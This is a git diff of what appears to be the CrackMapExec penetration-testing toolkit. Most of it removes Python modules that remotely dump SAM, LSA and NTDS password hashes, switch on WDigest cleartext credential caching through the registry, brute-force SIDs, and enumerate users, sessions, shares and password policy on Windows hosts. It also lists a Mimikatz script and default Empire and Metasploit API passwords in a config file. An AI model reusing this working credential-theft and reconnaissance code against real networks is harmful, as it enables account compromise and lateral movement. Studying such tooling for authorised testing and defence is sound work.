fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
for item in items:
fd.write(self.__itemsFound[item]+'\n')
fd.close()

View File

@ -1,201 +0,0 @@
from impacket import winregistry
from binascii import unhexlify, hexlify
from gevent import sleep
from cme.remoteoperations import RemoteOperations
from cme.credentials.sam import SAMHashes
from cme.credentials.lsa import LSASecrets
from cme.credentials.ntds import NTDSHashes
from impacket.dcerpc.v5.rpcrt import DCERPCException
import traceback
import os
import logging
class DumpSecrets:
def __init__(self, connection):
self.__useVSSMethod = False
self.__smbConnection = connection.conn
self.__db = connection.db
self.__host = connection.host
self.__hostname = connection.hostname
self.__remoteOps = None
self.__SAMHashes = None
self.__NTDSHashes = None
self.__LSASecrets = None
#self.__systemHive = options.system
#self.__securityHive = options.security
#self.__samHive = options.sam
#self.__ntdsFile = options.ntds
self.__bootKey = None
self.__history = False
self.__noLMHash = True
self.__isRemote = True
self.__outputFileName = os.path.join(os.path.expanduser('~/.cme'), 'logs/{}_{}'.format(connection.hostname, connection.host))
self.__doKerberos = False
self.__justDC = False
self.__justDCNTLM = False
self.__pwdLastSet = False
self.__resumeFileName = None
self.__logger = connection.logger
def getBootKey(self):
# Local Version whenever we are given the files directly
bootKey = ''
tmpKey = ''
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
for key in ['JD','Skew1','GBG','Data']:
logging.debug('Retrieving class info for %s'% key)
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
digit = ans[:16].decode('utf-16le')
tmpKey = tmpKey + digit
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
tmpKey = unhexlify(tmpKey)
for i in xrange(len(tmpKey)):
bootKey += tmpKey[transforms[i]]
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
return bootKey
def checkNoLMHashPolicy(self):
logging.debug('Checking NoLMHash Policy')
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
# We gotta find out the Current Control Set
currentControlSet = winreg.getValue('\\Select\\Current')[1]
currentControlSet = "ControlSet%03d" % currentControlSet
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
if noLmHash is not None:
noLmHash = noLmHash[1]
else:
noLmHash = 0
if noLmHash != 1:
logging.debug('LMHashes are being stored')
return False
logging.debug('LMHashes are NOT being stored')
return True
def enableRemoteRegistry(self):
bootKey = None
try:
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
#if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
self.__remoteOps.enableRegistry()
self.__bootKey = self.__remoteOps.getBootKey()
# Let's check whether target system stores LM Hashes
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
except Exception as e:
traceback.print_exc()
logging.error('RemoteOperations failed: %s' % str(e))
def SAM_dump(self):
self.enableRemoteRegistry()
sam_hashes = []
try:
SAMFileName = self.__remoteOps.saveSAM()
self.__SAMHashes = SAMHashes(SAMFileName,
self.__bootKey,
self.__logger,
self.__db,
self.__host,
self.__hostname,
isRemote = True)
sam_hashes.extend(self.__SAMHashes.dump())
self.__SAMHashes.export(self.__outputFileName)
except Exception as e:
traceback.print_exc()
logging.error('SAM hashes extraction failed: %s' % str(e))
self.cleanup()
return sam_hashes
def LSA_dump(self):
self.enableRemoteRegistry()
lsa_secrets = []
try:
SECURITYFileName = self.__remoteOps.saveSECURITY()
self.__LSASecrets = LSASecrets(SECURITYFileName,
self.__bootKey,
self.__logger,
self.__remoteOps,
isRemote=self.__isRemote)
lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes())
self.__LSASecrets.exportCached(self.__outputFileName)
lsa_secrets.extend(self.__LSASecrets.dumpSecrets())
self.__LSASecrets.exportSecrets(self.__outputFileName)
except Exception as e:
traceback.print_exc()
logging.error('LSA hashes extraction failed: %s' % str(e))
self.cleanup()
return lsa_secrets
def NTDS_dump(self, method, pwdLastSet, history):
self.__pwdLastSet = pwdLastSet
self.__history = history
try:
self.enableRemoteRegistry()
except Exception:
traceback.print_exc()
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
if method == 'vss':
self.__useVSSMethod = True
if self.__useVSSMethod:
NTDSFileName = self.__remoteOps.saveNTDS()
else:
NTDSFileName = None
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=self.__history,
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
outputFileName=self.__outputFileName)
#try:
self.__NTDSHashes.dump()
#except Exception as e:
# traceback.print_exc()
# logging.error(e)
# if self.__useVSSMethod is False:
# logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
self.cleanup()
def cleanup(self):
logging.info('Cleaning up... ')
if self.__remoteOps:
try:
self.__remoteOps.finish()
except:
logging.debug('Error calling remoteOps.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__SAMHashes:
try:
self.__SAMHashes.finish()
except:
logging.debug('Error calling SAMHashes.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__LSASecrets:
try:
self.__LSASecrets.finish()
except:
logging.debug('Error calling LSASecrets.finish(), traceback:')
logging.debug(traceback.format_exc())
if self.__NTDSHashes:
try:
self.__NTDSHashes.finish()
except:
logging.debug('Error calling NTDSHashes.finish(), traceback:')
logging.debug(traceback.format_exc())

View File

@ -1,71 +0,0 @@
from cme.remoteoperations import RemoteOperations
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
class WDIGEST:
def __init__(self, connection):
self.logger = connection.logger
self.smbconnection = connection.conn
self.doKerb = False
self.rrp = None
def enable(self):
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
remoteOps.enableRegistry()
self.rrp = remoteOps._RemoteOperations__rrp
if self.rrp is not None:
ans = rrp.hOpenLocalMachine(self.rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
keyHandle = ans['phkResult']
rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
if int(data) == 1:
self.logger.success('UseLogonCredential registry key created successfully')
try:
remoteOps.finish()
except:
pass
def disable(self):
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
remoteOps.enableRegistry()
self.rrp = remoteOps._RemoteOperations__rrp
if self.rrp is not None:
ans = rrp.hOpenLocalMachine(self.rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
keyHandle = ans['phkResult']
try:
rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
except:
self.logger.success('UseLogonCredential registry key not present')
try:
remoteOps.finish()
except:
pass
return
try:
#Check to make sure the reg key is actually deleted
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
except DCERPCException:
self.logger.success('UseLogonCredential registry key deleted successfully')
try:
remoteOps.finish()
except:
pass

0
cme/data/Invoke-EventVwrBypass.ps1 Normal file → Executable file
View File

0
cme/data/Invoke-Mimikatz.ps1 Normal file → Executable file
View File

@ -1 +1 @@
Subproject commit 262a260865d408808ab332f972d410d3b861eff1
Subproject commit c7985c9bc31e92bb6243c177d7d1d7e68b6f1816

5
cme/data/cme.conf Normal file → Executable file
View File

@ -1,3 +1,6 @@
[CME]
workspace=default
[Empire]
api_host=127.0.0.1
api_port=1337
@ -7,4 +10,4 @@ password=Password123!
[Metasploit]
rpc_host=127.0.0.1
rpc_port=55552
password=abc123
password=abc123

21
cme/data/videos_for_darrel.txt Executable file
View File

@ -0,0 +1,21 @@
https://www.youtube.com/watch?v=dQw4w9WgXcQ
https://www.youtube.com/watch?v=l12Csc_lW0Q
https://www.youtube.com/watch?v=wBqM2ytqHY4
https://www.youtube.com/watch?v=N1zL13LvxS8
https://imgur.com/gallery/s1hLouN
https://www.youtube.com/watch?v=Tay791Nprx0
https://www.youtube.com/watch?v=rOGbMwXnlQM
https://www.youtube.com/watch?v=mv8mV5X0MR8
https://www.youtube.com/watch?v=nH2gUPTFCfo
https://www.youtube.com/watch?v=zzfQwXEqYaI
https://www.youtube.com/watch?v=yuwprXAaSv0
https://i.imgur.com/aTr6Afr.gifv
https://www.youtube.com/watch?v=SZoiJM1vlfc
https://www.youtube.com/watch?v=IvDeXaiBy3I
https://www.youtube.com/watch?v=G0cqV3h-aDA
https://www.youtube.com/watch?v=q6yHoSvrTss
https://www.youtube.com/watch?v=jnHFYTjk4MQ
https://www.youtube.com/watch?v=tVj0ZTS4WF4
https://www.youtube.com/watch?v=q6EoRBvdVPQ
https://www.youtube.com/watch?v=Sagg08DrO5U
https://www.youtube.com/watch?v=z9Uz1icjwrM

View File

@ -1,124 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2012-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# DCE/RPC lookup sid brute forcer example
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC [MS-LSAT]
import sys
import logging
import codecs
import traceback
from impacket import version
from impacket.dcerpc.v5 import transport, lsat, lsad
from impacket.dcerpc.v5.samr import SID_NAME_USE
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
from impacket.dcerpc.v5.rpcrt import DCERPCException
class LSALookupSid:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\lsarpc]', 445)
#'135/TCP': (r'ncacn_ip_tcp:%s', 135),
}
def __init__(self, connection):
self.__logger = connection.logger
self.__addr = connection.host
self.__username = connection.username
self.__password = connection.password
self.__protocol = connection.args.smb_port
self.__hash = connection.hash
self.__maxRid = int(connection.args.rid_brute)
self.__domain = connection.domain
self.__lmhash = ''
self.__nthash = ''
if self.__hash is not None:
self.__lmhash, self.__nthash = self.__hash.split(':')
if self.__password is None:
self.__password = ''
def brute_force(self):
logging.info('Brute forcing SIDs at %s' % self.__addr)
protodef = LSALookupSid.KNOWN_PROTOCOLS['{}/SMB'.format(self.__protocol)]
port = protodef[1]
logging.info("Trying protocol %s..." % self.__protocol)
stringbinding = protodef[0] % self.__addr
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(port)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.__logger.success("Brute forcing SIDs (rid:domain:user)")
self.__bruteForce(rpctransport, self.__maxRid)
except Exception as e:
traceback.print_exc()
def __bruteForce(self, rpctransport, maxRid):
dce = rpctransport.get_dce_rpc()
dce.connect()
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
dce.bind(lsat.MSRPC_UUID_LSAT)
resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
soFar = 0
SIMULTANEOUS = 1000
for j in range(maxRid/SIMULTANEOUS+1):
if (maxRid - soFar) / SIMULTANEOUS == 0:
sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
else:
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0:
break
sids = list()
for i in xrange(soFar, soFar+sidsToCheck):
sids.append(domainSid + '-%d' % i)
try:
lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
except DCERPCException, e:
if str(e).find('STATUS_NONE_MAPPED') >= 0:
soFar += SIMULTANEOUS
continue
elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
resp = e.get_packet()
else:
raise
for n, item in enumerate(resp['TranslatedNames']['Names']):
if item['Use'] != SID_NAME_USE.SidTypeUnknown:
self.__logger.highlight("%d: %s\\%s (%s)" % (soFar+n, resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'], SID_NAME_USE.enumItems(item['Use']).name))
soFar += SIMULTANEOUS
dce.disconnect()

View File

@ -1,132 +0,0 @@
import sys
import codecs
import logging
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from time import strftime, gmtime
class PassPolDump:
KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\samr]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\samr]', 445),
}
def __init__(self, connection):
self.logger = connection.logger
self.addr = connection.host
self.protocol = connection.args.smb_port
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.lmhash = ''
self.nthash = ''
self.aesKey = None
self.doKerberos = False
if self.hash is not None:
self.lmhash, self.nthash = self.hash.split(':')
if self.password is None:
self.password = ''
def enum(self):
#logging.info('Retrieving endpoint list from %s' % addr)
entries = []
protodef = PassPolDump.KNOWN_PROTOCOLS['{}/SMB'.format(self.protocol)]
port = protodef[1]
logging.info("Trying protocol %s..." % self.protocol)
rpctransport = transport.SMBTransport(self.addr, port, r'\samr', self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, doKerberos = self.doKerberos)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, domains[0]['Name'])
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
self.logger.success('Dumping password policy')
self.get_pass_pol(self.addr, rpctransport, dce, domainHandle)
def convert(self, low, high, no_zero):
if low == 0 and hex(high) == "-0x80000000":
return "Not Set"
if low == 0 and high == 0:
return "None"
if no_zero: # make sure we have a +ve vale for the unsined int
if (low != 0):
high = 0 - (high+1)
else:
high = 0 - (high)
low = 0 - low
tmp = low + (high)*16**8 # convert to 64bit int
tmp *= (1e-7) # convert to seconds
try:
minutes = int(strftime("%M", gmtime(tmp))) # do the conversion to human readable format
except ValueError, e:
return "BAD TIME:"
hours = int(strftime("%H", gmtime(tmp)))
days = int(strftime("%j", gmtime(tmp)))-1
time = ""
if days > 1:
time = str(days) + " days "
elif days == 1:
time = str(days) + " day "
if hours > 1:
time += str(hours) + " hours "
elif hours == 1:
time = str(days) + " hour "
if minutes > 1:
time += str(minutes) + " minutes"
elif minutes == 1:
time = str(days) + " minute "
return time
def get_pass_pol(self, host, rpctransport, dce, domainHandle):
resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation)
min_pass_len = resp['Buffer']['Password']['MinPasswordLength']
pass_hst_len = resp['Buffer']['Password']['PasswordHistoryLength']
self.logger.highlight('Minimum password length: {}'.format(min_pass_len))
self.logger.highlight('Password history length: {}'.format(pass_hst_len))
max_pass_age = self.convert(resp['Buffer']['Password']['MaxPasswordAge']['LowPart'],
resp['Buffer']['Password']['MaxPasswordAge']['HighPart'],
1)
min_pass_age = self.convert(resp['Buffer']['Password']['MinPasswordAge']['LowPart'],
resp['Buffer']['Password']['MinPasswordAge']['HighPart'],
1)
self.logger.highlight('Maximum password age: {}'.format(max_pass_age))
self.logger.highlight('Minimum password age: {}'.format(min_pass_age))
resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation)
lock_threshold = int(resp['Buffer']['Lockout']['LockoutThreshold'])
self.logger.highlight("Account lockout threshold: {}".format(lock_threshold))
lock_duration = None
if lock_threshold != 0: lock_duration = int(resp['Buffer']['Lockout']['LockoutDuration']) / -600000000
self.logger.highlight("Account lockout duration: {}".format(lock_duration))

View File

@ -1,107 +0,0 @@
from impacket.dcerpc.v5 import transport, srvs, wkst
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.dtypes import NULL
class RPCQUERY():
def __init__(self, connection):
self.logger = connection.logger
self.connection = connection
self.host = connection.host
self.username = connection.username
self.password = connection.password
self.domain = connection.domain
self.hash = connection.hash
self.nthash = ''
self.lmhash = ''
self.local_ip = None
self.ts = ('8a885d04-1ceb-11c9-9fe8-08002b104860', '2.0')
if self.password is None:
self.password = ''
if self.hash:
self.lmhash, self.nthash = self.hash.split(':')
def connect(self, service):
if service == 'wkssvc':
stringBinding = r'ncacn_np:{}[\PIPE\wkssvc]'.format(self.host)
elif service == 'srvsvc':
stringBinding = r'ncacn_np:{}[\PIPE\srvsvc]'.format(self.host)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
if service == 'wkssvc':
dce.bind(wkst.MSRPC_UUID_WKST, transfer_syntax = self.ts)
elif service == 'srvsvc':
dce.bind(srvs.MSRPC_UUID_SRVS, transfer_syntax = self.ts)
self.local_ip = rpctransport.get_smb_server().get_socket().getsockname()[0]
return dce, rpctransport
def enum_lusers(self):
dce, rpctransport = self.connect('wkssvc')
try:
resp = wkst.hNetrWkstaUserEnum(dce, 1)
lusers = resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']
except Exception:
return
self.logger.success("Enumerating logged on users")
for user in lusers:
self.logger.highlight(u'Username: {}\\{} {}'.format(user['wkui1_logon_domain'],
user['wkui1_username'],
'LogonServer: {}'.format(user['wkui1_logon_server']) if user['wkui1_logon_server'] != '\x00' else ''))
def enum_sessions(self):
dce, rpctransport = self.connect('srvsvc')
try:
level = 502
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level502']['Buffer']
except Exception:
pass
try:
level = 0
resp = srvs.hNetrSessionEnum(dce, NULL, NULL, level)
sessions = resp['InfoStruct']['SessionInfo']['Level0']['Buffer']
except Exception:
return
self.logger.success("Enumerating active sessions")
for session in sessions:
if level == 502:
if session['sesi502_cname'][:-1] != self.local_ip:
self.logger.highlight(u'\\\\{} {} [opens:{} time:{} idle:{}]'.format(session['sesi502_cname'],
session['sesi502_username'],
session['sesi502_num_opens'],
session['sesi502_time'],
session['sesi502_idle_time']))
elif level == 0:
if session['sesi0_cname'][:-1] != self.local_ip:
self.logger.highlight(u'\\\\{}'.format(session['sesi0_cname']))
def enum_disks(self):
dce, rpctransport = self.connect('srvsvc')
try:
resp = srvs.hNetrServerDiskEnum(dce, 1)
except Exception:
pass
try:
resp = srvs.hNetrServerDiskEnum(dce, 0)
except Exception:
return
self.logger.success("Enumerating disks")
for disk in resp['DiskInfoStruct']['Buffer']:
for dname in disk.fields.keys():
if disk[dname] != '\x00':
self.logger.highlight(disk[dname])

View File

@ -1,42 +0,0 @@
from impacket.smbconnection import SessionError
from cme.helpers import gen_random_string
import random
import string
import ntpath
class ShareEnum:
def __init__(self, connection):
self.smbconnection = connection.conn
self.logger = connection.logger
self.permissions = {}
self.root = ntpath.normpath("\\" + gen_random_string())
def enum(self):
for share in self.smbconnection.listShares():
share_name = share['shi1_netname'][:-1]
self.permissions[share_name] = []
try:
self.smbconnection.listPath(share_name, '*')
self.permissions[share_name].append('READ')
except SessionError:
pass
try:
self.smbconnection.createDirectory(share_name, self.root)
self.smbconnection.deleteDirectory(share_name, self.root)
self.permissions[share_name].append('WRITE')
except SessionError:
pass
self.logger.success('Enumerating shares')
self.logger.highlight(u'{:<15} {}'.format('SHARE', 'Permissions'))
self.logger.highlight(u'{:<15} {}'.format('-----', '-----------'))
for share, perm in self.permissions.iteritems():
if not perm:
self.logger.highlight(u'{:<15} {}'.format(share, 'NO ACCESS'))
else:
self.logger.highlight(u'{:<15} {}'.format(share, ', '.join(perm)))
return self.permissions

View File

@ -1,27 +0,0 @@
from cme.remoteoperations import RemoteOperations
from impacket.dcerpc.v5 import rrp
class UAC:
def __init__(self, connection):
self.logger = connection.logger
self.smbconnection = connection.conn
self.doKerb = False
def enum(self):
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
remoteOps.enableRegistry()
ans = rrp.hOpenLocalMachine(remoteOps._RemoteOperations__rrp)
regHandle = ans['phKey']
ans = rrp.hBaseRegOpenKey(remoteOps._RemoteOperations__rrp, regHandle, 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System')
keyHandle = ans['phkResult']
dataType, uac_value = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, 'EnableLUA')
self.logger.success("Enumerating UAC status")
if uac_value == 1:
self.logger.highlight('1 - UAC Enabled')
elif uac_value == 0:
self.logger.highlight('0 - UAC Disabled')
rrp.hBaseRegCloseKey(remoteOps._RemoteOperations__rrp, keyHandle)
remoteOps.finish()

View File

@ -1,149 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: DCE/RPC SAMR dumper.
#
# Author:
# Javier Kohen <jkohen@coresecurity.com>
# Alberto Solino (@agsolino)
#
# Reference for:
# DCE/RPC for SAMR
import logging
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5 import transport, samr
from impacket.dcerpc.v5.rpcrt import DCERPCException
class ListUsersException(Exception):
pass
class SAMRDump:
def __init__(self, connection):
self.__username = connection.username
self.__addr = connection.host
self.__port = connection.args.smb_port
self.__password = connection.password
self.__domain = connection.domain
self.__hash = connection.hash
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = None
self.__doKerberos = False
self.__logger = connection.logger
if self.__hash is not None:
self.__lmhash, self.__nthash = self.__hash.split(':')
if self.__password is None:
self.__password = ''
def enum(self):
"""Dumps the list of users and shares registered present at
remoteName. remoteName is a valid host name or IP address.
"""
entries = []
logging.info('Retrieving endpoint list from %s' % self.__addr)
stringbinding = 'ncacn_np:%s[\pipe\samr]' % self.__addr
logging.debug('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if hasattr(rpctransport, 'setRemoteHost'):
rpctransport.setRemoteHost(self.__addr)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash)# self.__aesKey)
#rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
try:
entries = self.__fetchList(rpctransport)
except Exception, e:
logging.critical(str(e))
# Display results.
self.__logger.success('Dumping users')
for entry in entries:
(username, uid, user) = entry
base = "%s (%d)" % (username, uid)
self.__logger.highlight(u'{}/FullName: {}'.format(base, user['FullName']))
self.__logger.highlight(u'{}/UserComment: {}' .format(base, user['UserComment']))
self.__logger.highlight(u'{}/PrimaryGroupId: {}'.format(base, user['PrimaryGroupId']))
self.__logger.highlight(u'{}/BadPasswordCount: {}'.format(base, user['BadPasswordCount']))
self.__logger.highlight(u'{}/LogonCount: {}'.format(base, user['LogonCount']))
if entries:
num = len(entries)
if 1 == num:
logging.info('Received one entry.')
else:
logging.info('Received %d entries.' % num)
else:
logging.info('No entries received.')
def __fetchList(self, rpctransport):
dce = rpctransport.get_dce_rpc()
entries = []
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
try:
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)
domains = resp['Buffer']['Buffer']
logging.info('Found domain(s):')
for domain in domains:
logging.info(" . %s" % domain['Name'])
logging.info("Looking up users in domain %s" % domains[0]['Name'])
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )
resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])
domainHandle = resp['DomainHandle']
status = STATUS_MORE_ENTRIES
enumerationContext = 0
while status == STATUS_MORE_ENTRIES:
try:
resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, enumerationContext = enumerationContext)
except DCERPCException as e:
if str(e).find('STATUS_MORE_ENTRIES') < 0:
raise
resp = e.get_packet()
for user in resp['Buffer']['Buffer']:
r = samr.hSamrOpenUser(dce, domainHandle, samr.MAXIMUM_ALLOWED, user['RelativeId'])
logging.info(u"Found user: %s, uid = %d" % (user['Name'], user['RelativeId']))
info = samr.hSamrQueryInformationUser2(dce, r['UserHandle'],samr.USER_INFORMATION_CLASS.UserAllInformation)
entry = (user['Name'], user['RelativeId'], info['Buffer']['All'])
entries.append(entry)
samr.hSamrCloseHandle(dce, r['UserHandle'])
enumerationContext = resp['EnumerationContext']
status = resp['ErrorCode']
except ListUsersException, e:
logging.critical("Error listing users: %s" % e)
dce.disconnect()
return entries

View File

@ -1,107 +0,0 @@
#!/usr/bin/python
# Copyright (c) 2003-2015 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description: [MS-WMI] example. It allows to issue WQL queries and
# get description of the objects.
#
# e.g.: select name from win32_account
# e.g.: describe win32_process
#
# Author:
# Alberto Solino (@agsolino)
#
# Reference for:
# DCOM
#
import logging
import traceback
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcomrt import DCOMConnection
class WMIQUERY:
def __init__(self, connection):
self.__logger = connection.logger
self.__addr = connection.host
self.__username = connection.username
self.__password = connection.password
self.__hash = connection.hash
self.__domain = connection.domain
self.__namespace = connection.args.wmi_namespace
self.__query = connection.args.wmi
self.__iWbemServices = None
self.__doKerberos = False
self.__aesKey = None
self.__oxidResolver = True
self.__lmhash = ''
self.__nthash = ''
if self.__hash is not None:
self.__lmhash, self.__nthash = self.__hash.split(':')
if self.__password is None:
self.__password = ''
self.__dcom = DCOMConnection(self.__addr, self.__username, self.__password, self.__domain,
self.__lmhash, self.__nthash, self.__aesKey, self.__oxidResolver, self.__doKerberos)
try:
iInterface = self.__dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
self.__iWbemServices= iWbemLevel1Login.NTLMLogin(self.__namespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
except Exception as e:
self.__logger.error(e)
def query(self):
query = self.__query.strip('\n')
if query[-1:] == ';':
query = query[:-1]
if self.__iWbemServices:
iEnumWbemClassObject = self.__iWbemServices.ExecQuery(query.strip('\n'))
self.__logger.success('Executed specified WMI query')
self.printReply(iEnumWbemClassObject)
iEnumWbemClassObject.RemRelease()
self.__iWbemServices.RemRelease()
self.__dcom.disconnect()
def describe(self, sClass):
sClass = sClass.strip('\n')
if sClass[-1:] == ';':
sClass = sClass[:-1]
try:
iObject, _ = self.iWbemServices.GetObject(sClass)
iObject.printInformation()
iObject.RemRelease()
except Exception as e:
traceback.print_exc()
def printReply(self, iEnum):
printHeader = True
while True:
try:
pEnum = iEnum.Next(0xffffffff,1)[0]
record = pEnum.getProperties()
line = []
for rec in record:
line.append('{}: {}'.format(rec, record[rec]['value']))
self.__logger.highlight(' | '.join(line))
except Exception, e:
#import traceback
#print traceback.print_exc()
if str(e).find('S_FALSE') < 0:
raise
else:
break
iEnum.RemRelease()

63
cme/first_run.py Normal file → Executable file
View File

@ -2,12 +2,13 @@ import os
import sqlite3
import shutil
import cme
from cme.loaders.protocol_loader import protocol_loader
from subprocess import check_output, PIPE
from sys import exit
CME_PATH = os.path.expanduser('~/.cme')
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
DB_PATH = os.path.join(CME_PATH, 'cme.db')
WS_PATH = os.path.join(CME_PATH, 'workspaces')
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
@ -18,49 +19,41 @@ def first_run_setup(logger):
if not os.path.exists(CME_PATH):
logger.info('First time use detected')
logger.info('Creating home directory structure')
logger.info('Creating home directory structure')
os.mkdir(CME_PATH)
folders = ['logs', 'modules']
folders = ['logs', 'modules', 'protocols', 'workspaces']
for folder in folders:
os.mkdir(os.path.join(CME_PATH,folder))
if not os.path.exists(DB_PATH):
logger.info('Initializing the database')
conn = sqlite3.connect(DB_PATH)
c = conn.cursor()
if not os.path.exists(os.path.join(WS_PATH, 'default')):
logger.info('Creating default workspace')
os.mkdir(os.path.join(WS_PATH, 'default'))
# try to prevent some of the weird sqlite I/O errors
c.execute('PRAGMA journal_mode = OFF')
p_loader = protocol_loader()
protocols = p_loader.get_protocols()
for protocol in protocols.keys():
try:
protocol_object = p_loader.load_protocol(protocols[protocol]['dbpath'])
